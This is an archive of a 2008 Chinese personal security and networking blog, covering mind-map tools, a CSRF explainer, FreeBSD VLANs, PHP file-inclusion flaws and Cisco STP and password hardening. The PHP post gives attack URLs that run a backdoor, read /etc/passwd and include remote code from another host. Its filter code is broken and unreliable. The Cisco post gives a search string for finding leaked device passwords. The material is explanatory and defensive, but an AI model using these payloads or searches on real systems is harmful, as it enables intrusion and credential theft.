2008年9月22日星期一

对几个mindmap工具的评估

freemind:
在Linux下对中文支持的不好。

mindomo:
在线工具,功能强大,但是在linux对中文支持有问题,而且界面操作过程中也存在些问题。

mindmeister
对中文支持比较好,而且我也用了一段时间;但是免费的basic版,只能建6个图;而付费版使用每月的费用是4$/m,而且是年付;对国内人来说,确实有些舍不得。


因此在linux下,最后的选择可能还是要用dia

2008年9月21日星期日

CSRF攻击原理解析


Write by admin in 未分类 at 2008-09-21 11:08:19

|=——————————————————————=|
|=————–=[ CSRF攻击原理解析 ]=——————=|
|=——————————————————————=|
|=——————-=[ By rayh4c ]=————————=|
|=————-=[ rayh4c@80sec.com ]=——————-=|
|=——————————————————————=|

Author: rayh4c [80sec]
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2008-9-21

0×00. 前言

在Web程序中普通用户一般只在Web界面里完成他想要的操作,Web程序接受的正常客户端请求一般来自用户的点击链接和表单提交等行为,可是恶意攻击者却可以依靠脚本和浏览器的安全缺陷来劫持客户端会话、伪造客户端请求。


0×01. CSRF攻击分类

CSRF是伪造客户端请求的一种攻击,CSRF的英文全称是Cross Site Request Forgery,字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出,国内直到06年初才被关注,早期我们团队的剑心使用过 CSRF攻击实现了DVBBS后台的SQL注射,同时网上也出现过动易后台管理员添加的CSRF漏洞等,08年CSRF攻击方式开始在BLOG、SNS等 大型社区类网站的脚本蠕虫中使用。

CSRF的定义是强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。CSRF漏洞的攻击一般分为站内和站外两种类型:

CSRF站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST类变量造成的,一些敏感的操作本来是要求用户从表单提交发起POST请求传参给程 序,但是由于使用了$_REQUEST等变量,程序也接收GET请求传参,这样就给攻击者使用CSRF攻击创造了条件,一般攻击者只要把预测好的请求参数 放在站内一个贴子或者留言的图片链接里,受害者浏览了这样的页面就会被强迫发起请求。

CSRF站外类型的漏洞其实就是传统意义上的外部提交数据问题,一般程序员会考虑给一些留言评论等的表单加上水印以防止SPAM问题,但是为了用户的体验 性,一些操作可能没有做任何限制,所以攻击者可以先预测好请求的参数,在站外的Web页面里编写javascript脚本伪造文件请求或和自动提交的表单 来实现GET、POST请求,用户在会话状态下点击链接访问站外的Web页面,客户端就被强迫发起请求。

0×02. 浏览器的安全缺陷

现在的Web应用程序几乎都是使用Cookie来识别用户身份以及保存会话状态,但是所有的浏览器在最初加入Cookie功能时并没有考虑安全因素,从 WEB页面产生的文件请求都会带上COOKIE,如下图所示,Web页面中的一个正常的图片所产生的请求也会带上COOKIE:

GET http://website.com/log.jpg
Cookie: session_id
客户端 ——————————————————-服务器

浏览器的这种安全缺陷给CSRF漏洞的攻击创造了最基本的条件,因为Web页面中的任意文件请求都会带上COOKIE,所以我们将文件地址替换为一个链接 的话,用户访问Web页面就相当于会话状态下自动点击了链接,而且带有SRC属性具有文件请求的HTML标签,如图片、FLASH、音乐等相关的应用都会 产生伪造GET请求的CSRF安全问题。一个web应用程序可能会因为最基本的渲染页面的HTML标签应用,而导致程序里所有的GET类型传参都不可靠。

0×03. 浏览器的会话安全特性

参照Set-Cookie的标准格式,现今浏览器支持的cookie实际上分为两种形式:

Set-Cookie: =[; =] [; expires=][; domain=] [; path=][; secure][; HttpOnly]

一种是内存COOKIE,在没有设定COOKIE值的expires参数,也就是没有设置COOKIE的失效时间情况下,这个COOKIE在关闭浏览器后 将失效,并且不会保存在本地。另外一种是本地保存COOKIE,也就是设置了expires参数,COOKIE的值指定了失效时间,那么这个COOKIE 会保存在本地,关闭浏览器后再访问网站,在COOKIE有效时间内所有的请求都会带上这个本地保存COOKIE。

Internet Explorer有一个隐私报告功能,其实这是一个安全功能,它会阻挡所有的第三方COOKIE,比如A域Web页面嵌入了B域的文件,客户端浏览器访问 了A域的Web页面后对B域所发起的文件请求所带上的COOKIE会被IE拦截。除开文件请求情况,A域的Web页面如果使用IFRAME帧包含B域的 Web页面,访问A域的Web页面后,B域的Web页面里的所有请求包括文件请求带上的COOKIE同样会被IE拦截。不过Internet Explorer的这个安全功能有两个特性,一是不会拦截内存COOKIE,二是在网站设置了P3P头的情况下,会允许跨域访问COOKIE,隐私报告功 能就不会起作用了。

所以在Internet Explorer的这个安全特性的前提下,攻击者要进行站外的CSRF攻击使用文件请求来伪造GET请求的话,受害者必须在使用内存COOKIE也就是没 有保存登陆的会话状态下才可能成功。而Firefox浏览器并没有考虑使用这样的功能,站外的CSRF攻击完全没有限制。

0×04. 关于Javascript劫持技术

近年来的web程序频繁使用Ajax技术,JSON也开始取代XML做为AJAX的数据传输格式,JSON实际上就是一段javascript,大部分都 是定义的数组格式。fortify公司的三位安全人员在2007年提出了Javascript劫持技术,这是一种针对JSON动态数据的攻击方式,实际上 这也是一种变相的CSRF攻击。攻击者从站外调用一个script标签包含站内的一个JSON动态数据接口,因为[script src="”"] (此处<>由[]代替)这种脚本标签的文件请求会带上COOKIE,用户访问后相当于被迫从站外发起了一个带有身份认证COOKIE的GET请求,web程序 马上返回了用户相关的JSON数据,攻击者就可以取得这些关键的JSON数据加以利用,整个过程相当于一个站外类型的CSRF攻击。

WEB应用中的JSON数据大部分使用在个人资料、好友列表等隐私功能里,这类数据一般是web蠕虫最重要的传播功能所需要的数据,而CSRF攻击结合 Javascript劫持技术完全可以分析这类数据制作自动传播的web蠕虫,在一定情况下这种web蠕虫比网站出现跨站脚本漏洞制作的web蠕虫更具威 胁性,几乎不受网站架构的限制,因为攻击者利用的不是传统的Web漏洞而是网站自身正常的功能,如果出现这类CSRF蠕虫,对网站的打击将是灾难性的。

0×05. 安全提醒

各个大型社区类网站必须警惕CSRF攻击和相关web蠕虫的爆发,并且针对这类web攻击制定有效的应急措施。同建议程序员不要滥用$_REQUEST类 变量,在必要的情况下给某些敏感的操作加上水印,考虑使用类似DISCUZ论坛的formhash技术提高黑客预测请求参数的难度,注意JSON数据接口 的安全问题等。最后希望大家全面的考虑客户端和服务端整体的安全,注意Internet Explorer等客户端浏览器一些安全缺陷和安全特性,防止客户端程序的安全问题影响整个Web应用程序。

参考:

http://blog.csdn.net/lake2/archive/2008/04/02/2245754.aspx
http://www.cgisecurity.com/articles/csrf-faq.shtml
http://www.playhack.net/view.php?id=31
http://www.fortify.com/servlet/downloads/user/JavaScript_Hijacking.pdf
http://www.w3.org/P3P/

本站内容均为原创,转载请务必保留署名与链接!
CSRF攻击原理解析:http://www.80sec.com/csrf-securit.html

2008年9月10日星期三

在freebsd设置vlan来复用端口

在freebsd网卡上设置vlan
cloned_interfaces="vlan206 vlan201"
ifconfig_vlan206="inet xx.xx.xx.xx netmask 255.255.255.0 vlan 206 vlandev b
ge0"
ifconfig_vlan201="inet xx.xx.xx.xx netmask 255.255.255.0 vlan 201 vlandev
bge0"
ifconfig_bge0="up"

另外需要在交换机上,在该端口上设置trunk。

2008年9月8日星期一

php文件包含漏洞总结

文件包含漏洞
文件包含类函数属于危险系数较大的函数,也是历年来各类PHP程序暴出漏洞最多的函数.函数调用的变量未过滤,就可以任意包含远程 或者本地文件,从而去执行文件中的PHP代码或者读出指定文件.在php代码中:include() require() include_once() require_once()的变量非常危险!
如下代码中的require_once()为危险函数:
$module_name=$_GET['module_name'];
require_once($module_name);
?>
phpspy的代码:2008.php,存放在本机的/tmp/2008.php,我就可以通过http://127.0.0.1/test.php?module_name=/tmp/2008.php,可以运行该后门。通过http://127.0.0.1/test.php?module_name=/etc/passwd可以读出passwd这类非php格式的文本文件。

由于php考虑到安全,默认是关闭远程url包含的,因此使用远程包含文件攻击在默认情况下是无效的。将php.ini中的allow_url_fopen = Off改成On后是可以实现远程攻击。方法为http://127.0.0.1/test.php?module_name=http://192.168.9.22/2008.php

解决方法参考:
主要针对出现问题的参数做处理,在参数传入变量前堵住漏洞.
针对数字型参数,可以直接使用intval()函数强制整形化,阻止参数中包含非数字的恶意内容.
针对字符型参数,必须通过专门的过滤函数阻止恶意内容.
CODE:
利用str_replace函数过滤掉能构造路径
所需的字符:
" \ " , " / " , " . " , ".. "
unction badchar($var){
$var = str_replace("..","",$var);
$var = str_replace(".","",$var);
$var = str_replace("/","",$var);
$var = str_replace("\","",$var);
$var = str_replace(" ","",$var);

2008年9月1日星期一

pppoe+端口隔离实现小区宽带安全

PPPoE是个老话题了,就是在以太上引入ppp协议,从而解决以太网的鉴权、计费、流量控制等问题。其实从安全角度讲,它的最大意义就是消除了以太网中的arp,避免了多种欺骗。
至于端口隔离,就是说一台交换器的下联端口之间不允许通讯,每个下联口都只能与上连口通讯,它能解决多种与以太广播相关的安全问题。在这里实际上是PPPoE在安全方面的一个补充,防止PPPoE服务器欺骗(比如某个客户机伪装成一个PPPoE服务器,进行中间人攻击)。(from CU JohnBull)

cisco路由器stp的安全设置

生成树(STP,spanning tree protocol)的存在,让交换机在因冗余而通过多条路径互连时能避免在第2层产生回路。
网络中的交换机通过BPDU(Bridge Protocol Data Units)交换STP信息。
BPDU共有三种类型:
configuration BPDU(CBPDU),used for Spanning Tree computation
Topology Change Notificatioin(TCN) BPDU,used to announce changes in the network topology
Topology Change Notification Acknowledgment (TCA)

BPDU结构:
...|Type|Flags|Root identifier|Root path cost|Bridge Identifier|.....
通过yersinia可以对stp协议,对cisco交换机进行DoS等攻击。
保护方法:
在interface上应用 spanning-tree guard root ,对root路由器进行保护。
应用spanning-tree BPDU Guard
(config)#spanning-tree portfast bpduguard
(config)#errdisable recovery cause bpduguard
(config)#errdisable recovery interval 400
在配置了portfast功能的端口上,接受到BPDU时,就会将端口阻断。

cisco密码安全心得

cisco设备中,使用level 7的加密很久以前就被证明是可逆的,
http://insecure.org/sploits/cisco.passwords.html
上有代码可以对level7代码进行逆运算。

cisco上的level 5加密使用的md5加密,并且在加密过程中加入了salt,因此rainbow对这类密码无效,因此只能暴力和dict,这样就安全许多。
使用service password-encryption命令对cisco配置中的明文密码进行加密时,使用的也是level 7这种被证明不安全的密码。
因此大家在设置enable密码时,请使用:
enable secret ...
username show secret ...
在设置line vty 0 15时,不要设置 password ...,而要设置为login local,因为在line vty 0 15设置的password不是不加密就是level 7加密。

大家不要对网络设备的物理安全这么有信心,也不能保证网络设备在下架后配置被清除,也不能保证网络设备不坏...
毕竟好多人,很长时间只用一个密码在多个系统

在google中,输入filetype:cfg intext:enable password 7能找到好多你能感兴趣的东西